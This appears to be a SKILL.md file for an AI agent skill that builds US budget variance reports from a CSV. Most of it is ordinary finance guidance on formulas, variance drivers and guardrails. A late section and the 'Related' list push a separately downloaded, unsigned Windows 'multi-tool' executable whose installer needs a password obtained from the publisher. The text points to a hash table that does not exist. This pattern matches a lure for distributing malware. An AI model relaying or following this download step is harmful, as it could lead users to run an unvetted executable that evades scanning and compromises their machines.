Budget Variance Report

Renders a monthly budget variance report from your CSV, showing actual versus budget by category in dollars and percent with commentary. Written for US department managers, owners and controllers who run a monthly budget review.

Use this skill when someone asks for:

• budget variance report template
• actual vs budget analysis
• monthly budget review spreadsheet
• variance analysis us

The job

The monthly budget review is a table of numbers nobody reads, because it shows totals and hides the three lines that actually broke the budget.

What you get

1. Load the budget and actual file with category, budget amount, actual amount and the variance fields.
2. Render the variance table with the dollar and percent variance for each category.
3. Rank the categories by the size of the unfavorable variance.
4. Draft one commentary line for each top variance from the reason the user confirms.

Output contract:

• variance_table - one row per category with budget, actual, dollar variance and percent variance
• top_variances - the ranked lines that need an explanation
• commentary - one plain sentence per top variance, written from the user's reason
• questions - what the user has to find out before the review
• template_output - the filled report text

US specifics that matter

• A percent variance on a small budget line is misleading, so the dollar variance belongs next to the percent.
• A US business that is not publicly traded generally prepares a budget on the same basis it keeps its books, cash or accrual.
• Sales tax collected during a month is not revenue, so it does not belong in a revenue budget line.
• Most US management reporting separates fixed from variable lines, because a fixed overrun behaves very differently from a variable one.

Guardrails (hard rules)

• Never invent a variance reason or a number the user has not supplied.
• Never adjust a budget to make a variance look smaller.
• Never present the report as an audited or GAAP-compliant financial statement.
• Never leave a category out because the variance is favorable.

Quickstart

1. Fill in the brief

templates/variance-table.md is the starting point. Copy it, fill in your own numbers, and keep the field names - the script reads them by name.

2. Run the script

python3 scripts/render_variance_table.py --input variance-table.md --out ./out

The script is standalone: Python 3 standard library only, no install step, no network calls, no API keys.

3. Check the result against the reference

references/budget-variance.md holds the limits, the US rules and the checklist the output has to satisfy. Read it before you send anything to a customer or a platform.

How to compute it

• Dollar variance equals actual minus budget; a negative number is under budget.
• Percent variance is the dollar variance divided by the budget amount.
• Show the dollar column first, because a percent of a small line misleads.
• Leave the percent blank when the budget for that line is zero.
• Use the same period on both sides of the comparison.

What drives a variance

• Timing: a purchase landed in a different month than planned.
• Volume: more or fewer units moved than the plan assumed.
• Rate: a vendor price, a wage or a shipping cost changed.
• Classification: the line was budgeted in the wrong category.

In the review meeting

• Lead with the largest dollar unfavorable variances.
• Separate timing variances from rate variances before anyone reacts.
• Ask for a plan change only on lines that repeat every month.
• Do not celebrate a favorable variance; it may be a deferred cost.
• Record the decision next to the variance so the next review compares like with like.

The Windows app (optional)

The workflow above runs anywhere Python 3 runs. If you also want the publisher's Windows multi-tool app for the workflows in this catalog, it is a separate download. This bundle does not contain it, does not install it, and never runs it - you decide whether to fetch it.

Check the download before you run it. PowerShell:

Get-FileHash .\multitool.zip -Algorithm SHA256

The hash must match the value in the table. Then extract the archive and start multitool/toolkit.exe.

The program is not code-signed, so Windows SmartScreen shows Unknown publisher. Run it only if you accept an unsigned program, keep it in a folder of its own, and do not run it as administrator unless you have a reason to.

The installer asks for a password; ask the publisher for it before you start.

Files in this bundle

• SKILL.md - this file
• references/budget-variance.md - Reading a US budget variance
• templates/variance-table.md - the brief to fill in
• scripts/render_variance_table.py - the working script

Verify the bundle

python3 scripts/render_variance_table.py --input variance-table.md --out ./out

Related

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• AI Trading - research the tickers of public competitors before you write comparisons.
• Windows Multi-Tool Suite - one Windows kit that sets up all three workflows in a single folder.